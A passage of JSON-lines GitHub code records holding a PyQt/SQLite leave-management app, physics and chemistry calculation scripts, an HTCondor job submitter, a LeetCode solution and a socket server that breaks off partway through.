description='Small aiohttp server application for TLE storage',\n long_description=read('README.rst'),\n version=vn,\n packages=find_packages(),\n include_package_data=True,\n url=url,\n download_url='{url}/archive/{version}.tar.gz'.format(url=url, version=vn),\n license='MIT',\n author='nkoshell',\n author_email='nikita.koshelev@gmail.com',\n install_requires=read('requirements.in').splitlines(),\n)\n","repo_name":"nkoshell/tle-storage-service","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1269,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"19448391777","text":"import json\nimport sys\nimport logging\nfrom traceback import (StackSummary, TracebackException, walk_tb)\n\nclass exceptions(Exception):\n\n def __init__(self, *args: object) -> None:\n self.args = args\n self.stack_summary = StackSummary()\n self.exc_info = sys.exc_info()\n self.traceback_exception = TracebackException(*self.exc_info)\n self.str_error = self.traceback_exception._str\n self.object_error = walk_tb(self.exc_info[2])\n self.frame_summary = self.stack_summary.extract(self.object_error)\n\n self.traceback_cause()\n\n def traceback_cause(self):\n try:\n if self.traceback_exception.stack:\n logging.error(json.dumps({frame[0]: {\"error\": self.str_error, \"path\": frame[1].filename,\n \"line\": frame[1].lineno, \"code\": frame[1]._line} for frame in enumerate(self.frame_summary)}, indent=2))\n logging.error(self.args)\n except Exception as err:\n print(err)\n","repo_name":"YuriMotoshima/utils-api-pipefy","sub_path":"utils_api_pipefy/libs/excepts.py","file_name":"excepts.py","file_ext":"py","file_size_in_byte":1001,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"44"} +{"seq_id":"27092497350","text":"import numpy as np\nimport sys\nimport subprocess as sp\n\n#infile_directory = \"crab_SingleMuon_Run2016C-03Feb2017-v1\"\n\npickleoutfile = sys.argv[1]\ninfiles = sys.argv[2:]\n\ncmd = \"universe = vanilla\\n\"\ncmd += \"Executable = execute_python_script.sh\\n\"\ncmd += \"Should_Transfer_Files = YES\\n\"\ncmd += \"WhenToTransferOutput = ON_EXIT\\n\"\ncmd += \"Transfer_Input_Files = topbnv_tools.py, top_reco_Reza_ROOT_file_factorized.py\\n\"\ncmd += \"Output = condor_log_files/bellis_%s_$(Cluster)_$(Process).stdout\\n\" % (pickleoutfile.split('.pkl')[0])\ncmd += \"Error = condor_log_files/bellis_%s_$(Cluster)_$(Process).stderr\\n\" % (pickleoutfile.split('.pkl')[0])\ncmd += \"Log = condor_log_files/bellis_%s_$(Cluster)_$(Process).log\\n\" % (pickleoutfile.split('.pkl')[0])\ncmd += \"notify_user = mbellis@FNAL.GOV\\n\"\ncmd += \"x509userproxy = /tmp/x509up_u47418 \\n\"\ncmd += \"Arguments = --outfile %s \" % (pickleoutfile)\nfor infile in infiles:\n prepend = \"root://cmsxrootd.fnal.gov//store/user/mbellis\"\n #postpend = infile.split('mbellis')[1]\n postpend = infile.split('eos_store')[1]\n filename = \"%s/%s \" % (prepend, postpend)\n cmd += filename \ncmd += \"\\n\"\ncmd += \"Queue 1\\n\"\n\nprint(cmd)\n\noutfilename = \"cdr_temp_%s.jdl\" % (pickleoutfile.split('.pkl')[0])\noutfile = open(outfilename,'w')\noutfile.write(cmd)\noutfile.close()\n\n# Submit it\ncondor_cmd = ['condor_submit', outfilename]\nsp.Popen(condor_cmd,0).wait()\n\n","repo_name":"mattbellis/Top_BNV","sub_path":"sandbox/build_condor_script.py","file_name":"build_condor_script.py","file_ext":"py","file_size_in_byte":1389,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"44"} +{"seq_id":"26659025372","text":"import sys\nfrom PyQt5.uic import loadUi\nfrom PyQt5 import QtWidgets,QtCore\nfrom Supprimer_Acceptation import Ui_sup\nfrom Rechercher_Acceptation import Ui_rech\nfrom PyQt5.QtCore import Qt\nfrom Demande_Responsable import Ui_Form\nfrom reloading_screen import waiting\nfrom PyQt5 import QtGui\nfrom message import msg\nimport Resources_rc\nimport sqlite3\ncheck = False\ncheck_Image = True\nid_emp_global = 0\nclass Login(QtWidgets.QDialog):\n def __init__(self):\n super().__init__()\n loadUi(\"Login_1.ui\",self)\n self.setWindowIcon(QtGui.QIcon('responsable_ico.ico'))\n self.pushButton_3.setStyleSheet(\"\"\"\n QPushButton#pushButton_3{\nimage: url(:/Icons/Icons/hidepass-removebg-preview.png);\nborder:none;\n}\nQPushButton#pushButton_3:hover{\nbackground-color:#E2EEEE;\nborder-radius: 3px;\n}\n \"\"\")\n self.setAttribute(QtCore.Qt.WA_TranslucentBackground)\n self.setWindowFlag(QtCore.Qt.FramelessWindowHint)\n self.pushButton_3.clicked.connect(self.ShowPassword) \n self.pushButton_2.clicked.connect(self.checkInfo_1)\n self.pushButton_6.clicked.connect(self.sortir)\n self.pushButton_7.clicked.connect(self.btn_min_clicked)\n\n\n def open_connection(self):\n return sqlite3.connect(\"appp.db\")\n\n def btn_min_clicked(self):\n self.showMinimized()\n\n def sortir(self):\n self.close()\n\n def checkInfo_1(self):\n timer = QtCore.QTimer()\n timer.singleShot(3000,self.checkInfo)\n\n def ShowPassword(self):\n global check_Image\n if check_Image:\n self.pushButton_3.setStyleSheet(\"\"\"\n QPushButton#pushButton_3{\nimage: url(:/Icons/Icons/showpass-removebg-preview.png);\nborder:none;\n}\nQPushButton#pushButton_3:hover{\nbackground-color:#E2EEEE;\nborder-radius: 3px;\n} \n \"\"\")\n self.lineEdit_2.setEchoMode(QtWidgets.QLineEdit.Normal)\n check_Image = False\n else :\n self.pushButton_3.setStyleSheet(\"\"\"border : none;\n image: url(:/Icons/Icons/hidepass-removebg-preview.png);\n \"\"\")\n check_Image = True\n self.lineEdit_2.setEchoMode(QtWidgets.QLineEdit.Password)\n\n\n\n def checkInfo(self):\n global id_emp_global\n \n self.setEnabled(False)\n username = self.lineEdit.text()\n password = self.lineEdit_2.text()\n db = self.open_connection()\n cursor = db.cursor()\n cursor.execute(f'''SELECT * FROM Responsable;''')\n session = cursor.fetchall()\n db.close()\n for i in session:\n if i[2] == self.lineEdit.text() and i[3] == self.lineEdit_2.text():\n id_emp_global = i[1]\n self.setEnabled(True)\n self.window_entrer = mainwind()\n self.close()\n self.window_entrer.show()\n else :\n self.setEnabled(True)\n self.label_8.setText('Username ou Mot de passe incorrect !')\n\n\n\nclass mainwind(QtWidgets.QMainWindow):\n \n def refresh(self):\n if self.pushButton_16.isChecked():\n self.verifier = False\n self.tableWidget_3.setRowCount(0)\n self.refresh_Attente()\n \n \n\n def setColortoRow(self, table, row, color):\n for j in range(table.columnCount()):\n table.item(row, j).setBackground(color)\n \n def doubleclicked(self):\n print('heelo')\n row = self.tableWidget_3.currentRow()\n print(row)\n if row > -1:\n self.product_id = []\n self.product_id.append(self.tableWidget_3.item(row, 4).text())\n print('date debut',self.product_id[0])\n print('num matricule : ',self.num_matricules[row])\n db = self.open_connection()\n cursor = db.cursor()\n cursor.execute(f\"\"\"SELECT M.Contenu,Conge.Id FROM Conge INNER JOIN Message M ON Conge.Mat_Emp = {self.num_matricules[row]} AND Conge.DateDebut = '{self.product_id[0]}' AND M.Id_Conge = Conge.Id;\"\"\")\n self.Contenu = cursor.fetchone() \n db.commit()\n db.close()\n if self.verifier == True:\n self.msg = msg(self.Contenu[0],self.Contenu[1])\n self.msg.show()\n \n def Supprimer_Demande(self):\n print('supp ...')\n row = self.tableWidget_3.currentRow()\n print(row)\n if row > -1:\n self.product_id = []\n self.product_id.append(self.tableWidget_3.item(row, 4).text())\n print('date debut',self.product_id[0])\n print('num matricule : ',self.num_matricules[row])\n db = self.open_connection()\n cursor = db.cursor()\n cursor.execute(f\"\"\"UPDATE Conge SET Validation = 'S' WHERE Mat_Emp = {self.num_matricules[row]} AND DateDebut = '{self.product_id[0]}';\"\"\")\n db.commit()\n db.close()\n self.refresh()\n \n def refresh_Attente(self):\n global check\n self.num_matricules = {}\n dict_color = {'C':QtGui.QColor(252, 237, 191),'R':QtGui.QColor(252, 161, 148),'V':QtGui.QColor(190, 254, 179),'H':QtGui.QColor(183, 254, 213)}\n db = self.open_connection()\n self.connection = db.cursor()\n if check == False:\n print('button recherecher not selected')\n self.Requete = f\"\"\"SELECT Employees.Mat_Emp, Employees.Nom, Employees.Prenom,Conge.Type_de_Conge,Conge.DateDebut,Conge.NbrJours,Conge.DateFin,Conge.Validation FROM Employees INNER JOIN Conge ON Employees.Mat_Emp=Conge.Mat_Emp AND Employees.Mat_Responsable = {id_emp_global} AND Conge.Validation != 'S' ORDER BY Conge.Validation;\"\"\"\n check = False\n print(self.Requete)\n self.connection.execute(self.Requete)\n self.result = self.connection.fetchall()\n if self.result == []:\n self.label_7.setHidden(False)\n else:\n self.label_7.setHidden(True)\n db.close()\n for lignes,row_data in enumerate(self.result):\n self.tableWidget_3.insertRow(lignes)\n for colonne,self.resultat_colonne in enumerate(row_data):\n \n str_colonne = str(self.resultat_colonne)\n if colonne == 0:\n self.num_matricules[lignes] = self.resultat_colonne\n str_colonne = 'Mat ' + str(self.resultat_colonne)\n item1 = QtWidgets.QTableWidgetItem(str_colonne)\n item1.setFlags(item1.flags() ^ Qt.ItemIsEditable)\n \n self.tableWidget_3.setItem(lignes, colonne,item1)\n if colonne == 7:\n self.searchBtn=QtWidgets.QPushButton('Supprimer')\n self.searchBtn.setDown(True)\n self.searchBtn.setStyleSheet(\"\"\"QPushButton{\n Vertical Size : 30px;\n margin:3px;\n qproperty-icon:url(dd.png);\n qproperty-iconSize: 20px 20px;}\n .QPushButton:hover {\n\t \n\t background-color:#DCFF9B ;\n }\n \"\"\")\n \n self.tableWidget_3.setCellWidget(lignes,colonne,self.searchBtn)\n var = dict_color[str_colonne]\n if str_colonne == 'V':\n self.searchBtn.setEnabled(False)\n self.searchBtn.clicked.connect(self.Supprimer_Demande)\n if colonne == 7:\n # hadi 3ndak tnsaha !!!!\n item1 = QtWidgets.QTableWidgetItem(' ')\n self.tableWidget_3.setItem(lignes, colonne,item1)\n self.setColortoRow(self.tableWidget_3,lignes,var)\n print(self.num_matricules)\n \n \n#je peux faire un ductioannaire pour optimiser refresh\n\n \n \n def rechercher(self):\n global check\n check = True\n print('rechercher selected')\n num_matricule = 2\n self.Requete = f\"\"\"SELECT Employees.Mat_Emp, Employees.Nom, Employees.Prenom,Conge.Type_de_Conge,Conge.DateDebut,Conge.NbrJours,Conge.DateFin,Conge.Validation FROM Employees INNER JOIN Conge ON Employees.Mat_Emp= {num_matricule} ORDER BY Conge.Validation;\"\"\"\n self.refresh()\n def OuvrirCompte(self):\n self.Conge.setCurrentIndex(2)\n def OuvrirTousDemandes(self):\n self.Conge.setCurrentIndex(1)\n def Ouvrirconge(self):\n self.Conge.setCurrentIndex(0)\n def __init__(self):\n global id_emp_global\n super().__init__()\n loadUi(\"Auto_Aeroport.ui\",self)\n self.setWindowTitle('Conge Responsable')\n self.setWindowIcon(QtGui.QIcon('responsable_ico.ico'))\n self.cg = Ui_Form(id_emp_global)\n self.horiz_ayoub.addWidget(self.cg)\n self.refresh_Attente()\n stylesheet = \"::section{Background-color:rgb(114, 123, 184)}\"\n self.tableWidget_3.horizontalHeader().setStyleSheet(stylesheet)\n self.tableWidget_3.verticalHeader().setVisible(False)\n self.Login_Info()\n self.Ouvrirconge()\n #self.tableWidget_2.verticalHeader().setVisible(False)\n #self.tableWidget_4.verticalHeader().setVisible(False)\n self.pushButton_16.clicked.connect(self.refresh)\n self.pushButton_16.setStyleSheet(\"QPushButton {\"\n\t \"box-shadow:inset 0px 1px 0px 0px #276873;\"\n\t \"background:linear-gradient(to bottom, #006387 5%, #408c99 100%);\"\n\t \"background-color:#E9ECE5;\"\n\t \"border:1px solid #29668f;\"\n\t \"display:inline-block;\"\n\t \"cursor:pointer;\"\n \"border-radius:3px;\"\n \"border-radius:0px;\"\n \t \"font-family:Arial;\"\n \"text-align: left;\"\n\t \"font-size:15px;\"\n\n\n\"qproperty-iconSize: 20px 20px;\"\n\t \"color:#000000;\"\n\t \"font-family:Arial;\"\n\t \"font-size:15;\"\n\t \n\t \"text-decoration:none;\"\n \"}\"\n \".QPushButton:hover {\"\n\t \"background:linear-gradient(to bottom, #408c99 5%, #006387 100%);\"\n\t \"background-color:#ADAEAC;\"\n \"}\"\n \".QPushButton:active {\"\n\t \"position:relative;\"\n\t \"top:1px;\"\n \"}\"\n \".QPushButton::pressed {\"\n \"background-color : #54E141 ;\"\n \"}\"\n )\n self.pushButton_16.setIcon(QtGui.QIcon(\":/Icons/Icons/refresh-removebg-preview.png\"))\n\n self.pushButton_9.setIcon(QtGui.QIcon(\":/Icons/Icons/button-305726_960_720-removebg-preview.png\"))\n self.pushButton_9.setStyleSheet(\"QPushButton {\"\n\t \"box-shadow:inset 0px 1px 0px 0px #276873;\"\n\t \"background:linear-gradient(to bottom, #006387 5%, #408c99 100%);\"\n\t \"background-color:#E9ECE5;\"\n\t \"border:1px solid #29668f;\"\n\t \"display:inline-block;\"\n\t \"cursor:pointer;\"\n \"border-radius:3px;\"\n \"padding : -2px;\"\n \"font-family:Arial;\"\n \"text-align: left;\"\n\t \"font-size:15px;\"\n\n\n\"qproperty-iconSize: 30px 30px;\"\n\t \"color:#000000;\"\n\t \"font-family: Barlow, sans-serif;\"\n\t \"font-size:15;\"\n\t \n\t \"text-decoration:none;\"\n \"}\"\n \".QPushButton:hover {\"\n\t \"background:linear-gradient(to bottom, #408c99 5%, #006387 100%);\"\n\t \"background-color:#ADAEAC;\"\n \"}\"\n \".QPushButton:active {\"\n\t \"position:relative;\"\n\t \"top: 2px;\"\n \"}\"\n \".QPushButton::pressed {\"\n\n \"background-color : rgb(255, 51, 51) ;\"\n \"}\"\n )\n self.pushButton_17.setIcon(QtGui.QIcon(\":/Icons/Icons/notifi.png\"))\n self.pushButton_17.setStyleSheet(\"QPushButton {\"\n\t \"box-shadow:inset 0px 1px 0px 0px #276873;\"\n\t \"background:linear-gradient(to bottom, #006387 5%, #408c99 100%);\"\n\t \"background-color:#E9ECE5;\"\n\t \"border:1px solid #29668f;\"\n\t \"display:inline-block;\"\n\t \"cursor:pointer;\"\n \"border-radius:3px;\"\n \"border-radius:0px;\"\n \t \"font-family:Arial;\"\n \"text-align: left;\"\n\t \"font-size:15px;\"\n\n\n\"qproperty-iconSize: 20px 20px;\"\n\t \"color:#000000;\"\n\t \"font-family:Arial;\"\n\t \"font-size:15;\"\n\t \n\t \"text-decoration:none;\"\n \"}\"\n \".QPushButton:hover {\"\n\t \"background:linear-gradient(to bottom, #408c99 5%, #006387 100%);\"\n\t \"background-color:#ADAEAC;\"\n \"}\"\n \".QPushButton:active {\"\n\t \"position:relative;\"\n\t \"top:1px;\"\n \"}\"\n \".QPushButton::pressed {\"\n\n \"background-color : #F8FA81 ;\"\n \"}\"\n )\n\n\n self.pushButton_2.clicked.connect(self.Ouvrirconge)\n self.pushButton_3.clicked.connect(self.OuvrirTousDemandes)\n self.pushButton_7.clicked.connect(self.OuvrirCompte)\n self.pushButton_9.clicked.connect(self.ShutDown)\n self.pushButton_17.clicked.connect(self.Notification)\n self.tableWidget_3.doubleClicked.connect(self.doubleclicked)\n self.verifier = False\n def Notification(self):\n global check\n check = True\n self.verifier = True\n self.Requete = f\"\"\"SELECT Employees.Mat_Emp, Employees.Nom, Employees.Prenom,Conge.Type_de_Conge,Conge.DateDebut,Conge.NbrJours,Conge.DateFin,Conge.Validation FROM Employees INNER JOIN Conge ON Employees.Mat_Emp=Conge.Mat_Emp AND Employees.Mat_Responsable = {id_emp_global} AND Conge.Validation != 'S' AND Conge.Messages = 1 ORDER BY Conge.Validation;\"\"\"\n self.refresh()\n #self.pushButton_14.clicked.connect(self.refresh)\n #self.pushButton_15.clicked.connect(self.refresh)\n def open_connection(self):\n return sqlite3.connect(\"appp.db\")\n def ShutDown(self):\n self.lg = Login()\n self.close()\n self.lg.show()\n def Login_Info(self):\n global id_emp_global\n db = self.open_connection()\n cursor = db.cursor()\n cursor.execute(f\"\"\"SELECT Nom,Prenom FROM Employees WHERE Mat_Emp = {int(id_emp_global)};\"\"\")\n inf = cursor.fetchone()\n print(inf)\n self.label_2.setText(str(id_emp_global))\n self.label_3.setText(inf[0])\n self.label_4.setText(inf[1])\n db.close()\nif __name__ == '__main__':\n app = QtWidgets.QApplication(sys.argv)\n ui = Login()\n ui.show()\n sys.exit(app.exec_())","repo_name":"ayoubElbahti/desktop-application-for-human-resources-management","sub_path":"Responsable/cog.py","file_name":"cog.py","file_ext":"py","file_size_in_byte":14489,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"44"} +{"seq_id":"13071808556","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Sun May 24 14:02:37 2020\r\n\r\n@author: Agnes\r\n\"\"\"\r\nimport numpy as np\r\nimport matplotlib.pyplot as plt\r\n\r\n#Runge-Kutta-Verfahren\r\ndef rungekutta (f,x,function_parameters,h):\r\n \"\"\" f: Funktion\r\n x: letzter Zeitschritt\r\n function_parameters: Liste der Parameter\r\n h: Schrittweite\"\"\"\r\n k1 = f(x,*function_parameters)\r\n k2= f(x+(h/2)*k1, *function_parameters)\r\n k3 = f(x+(h/2)*k2, *function_parameters)\r\n k4= f(x+ h*k3, *function_parameters)\r\n xnew = x + (h/6)*(k1+ 2*k2 +2*k3+ k4)\r\n return xnew\r\n\r\n#Räuberbeutemodell\r\n#Parameter\r\ne1 = 2.0\r\ne2 = 0.8\r\ny1= 0.02\r\ny2= 0.0002\r\nh = 0.025 # Schrittweite\r\np1= 100 #Startwert der Beutepopulation\r\np2= 50 #Startwert der Räuberpopulation\r\ntmax = 100\r\n\r\n\r\n#Ausführung des RK-Verfahren\r\nt=0\r\np1list = [p1]\r\np2list = [p2]\r\ntlist = [t]\r\n\r\nwhile t<=tmax:\r\n def rhs1(p1,e1,y1,p2): #Definiton Rechtehandseite Beutepopulation\r\n return p1*(e1-y1*p2)\r\n def rhs2(p2,e2,y2,p1new): #Defintion Rechtehanseite Räuberpopulation\r\n return (-p2)*(e2-y2*p1new)\r\n \r\n p1new = rungekutta(rhs1,p1,[e1,y1,p2],h)\r\n p1list.append(p1new)\r\n \r\n p2new = rungekutta(rhs2,p2,[e2,y2,p1new],h)\r\n p2list.append(p2new)\r\n \r\n \r\n p1 = p1new +0\r\n p2 = p2new +0\r\n\r\n t+=h #Zeitschritt weitergehen\r\n tlist.append(t)\r\n \r\n#Diagramm\r\n# p(t)\r\nplt.plot(tlist,p1list)\r\nplt.plot(tlist,p2list)\r\nplt.xlabel (\"$t$\")\r\nplt.ylabel(\"$p$\")\r\nplt.show() \r\n#Phasenraumtrajektorie\r\nplt.plot(p1list,p2list)\r\nplt.xlabel(\"$p1$\")\r\nplt.ylabel(\"$p2$\")\r\nplt.show()","repo_name":"Agnes-jb/hello-world","sub_path":"Räuber-Beute-Modell.py","file_name":"Räuber-Beute-Modell.py","file_ext":"py","file_size_in_byte":1578,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"29320094595","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Mon Apr 25 16:41:08 2022\n\n@author: smpsm\n\"\"\"\n \nfrom sklearn import svm\nfrom sklearn import datasets\nfrom random import randint, random, choice\n\nd=datasets.load_iris() # iris 데이터셋 읽고\n\ns=svm.SVC(gamma=0.1, C=10) # svm 분류 모델 SVC 객체 생성\ns.fit(d.data, d.target) # iris 데이터로 학습 # train set\n\nn_data = len(d.data)\ntest_set=[]\ntest_target=[]\n\nfor i in range(20): \n rand_index = randint(0, n_data-1) # random index 반환\n \n new_data = d.data[rand_index]\n new_target = d.target[rand_index]\n \n new_data += new_data*((random()-0.5)*0.1) # 5% 이내에서 값 랜덤 수정\n \n test_set.append(new_data)\n test_target.append(new_target)\n \n \nres=s.predict(test_set) # Test set // 예측할 때 사용할 데이터\naccuracy_count = 0\n\nprint(\"새로운 20개 샘플의 부류는\")\nprint(\"\\t [test data] / test target / result\")\nfor i in range(len(test_set)): # 샘플을 순서대로 출력\n print(\"%2d\" % (i+1), test_set[i], \"/\", test_target[i], \"/\", res[i])\n \n # 정확률 측정\n if test_target[i] == res[i]:\n accuracy_count += 1\n\nprint(\"정확률은 %lf\" % (accuracy_count/len(res)*100))\n \n\n# 원핫 코드는 한 요소만 1인 이진열을 말함\n# train set으로 모델링과 test set으로 예측을 수행","repo_name":"Sanggoe/Deep-learning-class","sub_path":"exercise 3-2_v2.py","file_name":"exercise 3-2_v2.py","file_ext":"py","file_size_in_byte":1338,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"26702955766","text":"from pyscf_addons import frac\nfrom pyscf.lib import logger\nimport numpy as np\n\n\ndef gsc_uks(mol, xc, frontier='homo', spin=0, step=1e-3):\n '''\n Perform UKS calculation using GSC with numerical 2nd order correction\n to calculate the GSC corrected frontier orbital energy.\n\n Parameters\n ----------\n mol : pyscf.gto.Mole\n The molecule system.\n xc : str\n The pyscf supported xc functional.\n frontier : ['homo', 'lumo']\n The frontier orbital considered for the calculation.\n spin : [0, 1]\n The spin of the frontier orbital.\n step : float, default=1e-3\n The numerical step size that is used to numerical evaluation of the\n GSC 2nd order correction.\n\n Return\n ------\n mf_N : pyscf.dft.UKS()\n The pyscf SCF object for the integer N-electron system. Some new\n attributes are dynamically added into `mf_N`.\n\n Attributes\n ----------\n kappa : float\n The numerical 2nd order derivative of DFA energy w.r.t.\n the frontier orbital occupation number.\n gsc_orb_ene : float\n The GSC corrected frontier orbital energy in a.u.\n dfa_orb_ene : float\n The DFA frontier orbital energy in a.u.\n homo : [float, float]\n The HOMO energy in a.u. of alpha and beta spin.\n lumo : [float, float]\n The LUMO energy in a.u. of alpha and beta spin.\n gap : float\n The HOMO-LUMO gap in a.u.\n\n If the SCF fails to converged in the numerical evaluation,\n the return is None.\n '''\n E = []\n mf_N = None\n for i in range(3):\n if frontier == 'homo':\n frac_func = frac.frac_homo\n occ = 1 - step * i\n elif frontier == 'lumo':\n frac_func = frac.frac_lumo\n occ = 0 + step * i\n else:\n raise RuntimeError(f'Not a frontier orbital: {frontier}')\n\n mf = mol.UKS()\n mf.xc = xc\n mf = frac_func(mf, occ, spin)\n if mf.verbose >= logger.INFO:\n logger.info(mf, f'\\n==> SCF running times: {i}')\n E.append(mf.scf())\n\n if not mf.converged:\n if mf.verbose >= logger.QUIET:\n logger.info(\n mf, f'SCF not converged at step={i}. Cannot get numerical gsc correction.')\n return None\n\n if i == 0:\n mf_N = mf\n\n # get homo and lumo of the DFA\n e_idx_a = np.argsort(mf_N.mo_energy[0])\n e_idx_b = np.argsort(mf_N.mo_energy[1])\n e_sort_a = mf_N.mo_energy[0][e_idx_a]\n e_sort_b = mf_N.mo_energy[1][e_idx_b]\n na, nb = mf_N.nelec\n homo = (e_sort_a[na - 1], e_sort_b[nb - 1])\n lumo = (e_sort_a[na], e_sort_b[nb])\n\n # get GSC numerical curvature and GSC corrected orbital energy\n mf_N.kappa = (E[0] - 2 * E[1] + E[2]) / (step ** 2)\n mf_N.gsc_orb_ene = None\n mf_N.dfa_orb_ene = None\n if frontier == 'homo':\n mf_N.gsc_orb_ene = homo[spin] - 1.0 / 2 * mf_N.kappa\n mf_N.dfa_orb_ene = homo[spin]\n else:\n mf_N.gsc_orb_ene = lumo[spin] + 1.0 / 2 * mf_N.kappa\n mf_N.dfa_orb_ene = lumo[spin]\n mf_N.homo = homo\n mf_N.lumo = lumo\n mf_N.gap = min(lumo) - max(homo)\n\n if mf_N.verbose >= logger.INFO:\n chanel = 'alpha' if spin == 0 else 'beta'\n au2ev = 27.2116\n logger.info(mf_N, '\\n==> GSC with numerical 2nd order correction <==')\n logger.info(mf_N, 'DFA gap: {:.8f} a.u. {:.8f} eV'.format(\n mf_N.gap, mf_N.gap * au2ev))\n logger.info(mf_N, 'DFA ({:s}-{:s}): {:.8f} a.u. {:.8f} eV'.format(\n chanel, frontier, mf_N.dfa_orb_ene, mf_N.dfa_orb_ene * au2ev))\n logger.info(mf_N, 'GSC ({:s}-{:s}): {:.8f} a.u. {:.8f} eV'.format(\n chanel, frontier, mf_N.gsc_orb_ene, mf_N.gsc_orb_ene * au2ev))\n logger.info(mf_N, '2nd order direvative ({:s}-{:s}): {:.8f}'.format(\n chanel, frontier, mf_N.kappa))\n\n return mf_N\n","repo_name":"Miocbb/pyscf_addons","sub_path":"gsc.py","file_name":"gsc.py","file_ext":"py","file_size_in_byte":3935,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"4765941379","text":"from socket import socket, SHUT_RDWR\nfrom queue import Queue\nfrom threading import Thread\n\nfrom client import ClientWorker\nfrom configs import * # too many variables to import explicitly\n\n\n\nclass Listener:\n\n def __init__(self, queue=None):\n self.clientList = []\n self.clientDict = {}\n if queue is None:\n self.queue = Queue()\n self.listener = None\n\n def start(self):\n listenThread = Thread(target=self.listenThread, daemon=True)\n listenThread.start()\n\n def close(self):\n if self.listener is not None:\n try:\n self.listener.shutdown(SHUT_RDWR)\n self.listener.close()\n except:\n pass\n\n\n def listenThread(self):\n if self.listener is None:\n self.listener = socket()\n try:\n self.listener.bind((getIPAddr(), getPort()))\n self.listener.listen(0)\n print(\"Listening on {}:{}\".format(getIPAddr(), getPort()))\n while 1:\n newSocket, addr = self.listener.accept()\n newClient = ClientWorker(newSocket, self.queue, addr)\n newClient.start()\n self.clientList.append(newClient)\n print(\"Client connected from {}\".format(addr))\n finally:\n self.close()\n","repo_name":"mlevy94/ECE4534-Team1","sub_path":"Follower_Rover/listener.py","file_name":"listener.py","file_ext":"py","file_size_in_byte":1165,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"40775994815","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n# @Author : Rock Wayne \n# @Created : 2020-08-06 18:32:20\n# @Last Modified : 2020-08-06 18:32:20\n# @Mail : lostlorder@gmail.com\n# @Version : alpha-1.0\n\n\"\"\"\n# 给你一个非负整数 num ，返回它的「加密字符串」。 \n# \n# 加密的过程是把一个整数用某个未知函数进行转化，你需要从下表推测出该转化函数： \n#\n# n--f(n)\n# 0--\"\"\n# 1--\"0\"\n# 2--\"1\"\n# 3--\"00\"\n# 4--\"01\"\n# 5--\"10\"\n# 6--\"11\"\n# 7--\"000\"\n#\n# 示例 1： \n# \n# 输入：num = 23\n# 输出：\"1000\"\n# \n# \n# 示例 2： \n# \n# 输入：num = 107\n# 输出：\"101100\"\n# \n# \n# \n# \n# 提示： \n# \n# \n# 0 <= num <= 10^9 \n# \n# Related Topics 位运算 数学 \n# 👍 12 👎 0\n\n\"\"\"\n\nimport pytest\n\n\n# leetcode submit region begin(Prohibit modification and deletion)\nclass Solution:\n def encode(self, num: int) -> str:\n return bin(num + 1)[3:]\n\n\n# leetcode submit region end(Prohibit modification and deletion)\n\n\n@pytest.mark.parametrize(\"kw,expected\", [\n [dict(num=23), \"1000\"],\n [dict(num=107), \"101100\"],\n])\ndef test_solutions(kw, expected):\n assert Solution().encode(**kw) == expected\n\n\nif __name__ == '__main__':\n pytest.main([\"-q\", \"--color=yes\", \"--capture=no\", __file__])\n","repo_name":"Wang-Yann/LeetCodeMe","sub_path":"python/_1001_1500/1256_encode-number.py","file_name":"1256_encode-number.py","file_ext":"py","file_size_in_byte":1278,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"42876239212","text":"import select\nimport threading\nimport logging\nimport asyncio\nfrom socket import socket\n\n\nclass Server:\n def __init__(self, host, port, buffersize, handler):\n self._host = host\n self._port = port\n self._buffersize = buffersize\n self._handler = handler\n self._connections = list()\n self._requests = list()\n self._sock = None\n\n def __enter__(self):\n if not self._sock:\n self._sock = socket()\n return self\n\n def __exit__(self, exc_type, exc_val, exc_tb):\n message = 'Server shutdown'\n if self._sock:\n self._sock.close()\n if exc_type:\n if not exc_type is KeyboardInterrupt:\n message = f'Server stopped with error ({exc_type}, {exc_val})'\n logging.error(message, exc_info=exc_val)\n else:\n logging.info(message)\n return True\n\n def start(self, backlog=5):\n if not self._sock:\n self._sock = socket()\n self._sock.bind((self._host, self._port,))\n self._sock.settimeout(0) # sock.setblocking(False)\n self._sock.listen(backlog)\n\n logging.info(f'Server was started with {self._host}:{self._port}')\n\n def wait_client(self):\n try:\n client, address = self._sock.accept()\n except Exception:\n pass\n else:\n self._connections.append(client)\n logging.info(f'Client was connected with {address[0]}:{address[1]} | Connections: {len(self._connections)}')\n\n def processing(self):\n\n while True:\n\n self.wait_client()\n\n if not self._connections: # Без данной проверки выдает ошибку при первом старте\n continue\n\n rlist, wlist, xlist = select.select(\n self._connections, self._connections, self._connections, 0\n )\n\n for r_client in rlist:\n r_thread = threading.Thread(\n target=self.read, args=(r_client,)\n )\n r_thread.start()\n\n if self._requests:\n b_request = self._requests.pop()\n b_response = self._handler(b_request)\n for w_client in wlist:\n w_thread = threading.Thread(\n target=self.write, args=(w_client, b_response)\n )\n w_thread.start()\n\n def read(self, client_sock):\n try:\n b_request = client_sock.recv(self._buffersize)\n except ConnectionResetError as err:\n self._connections.remove(client_sock)\n logging.info('Client connection was lost', exc_info=err)\n except Exception as err:\n logging.critical('Read exception raised', exc_info=err)\n else:\n if b_request:\n self._requests.append(b_request)\n\n def write(self, client_sock, response):\n try:\n client_sock.send(response)\n except Exception as err:\n # self._connections.remove(client_sock)\n logging.critical('Write exception raised', exc_info=err)\n\n\nclass AsyncServer:\n def __init__(self, host, port, buffersize, handler):\n self._host = host\n self._port = port\n self._buffersize = buffersize\n self._handler = handler\n self._connections = list()\n self._requests = list()\n\n def __exit__(self, exc_type, exc_val, exc_tb):\n message = 'Server 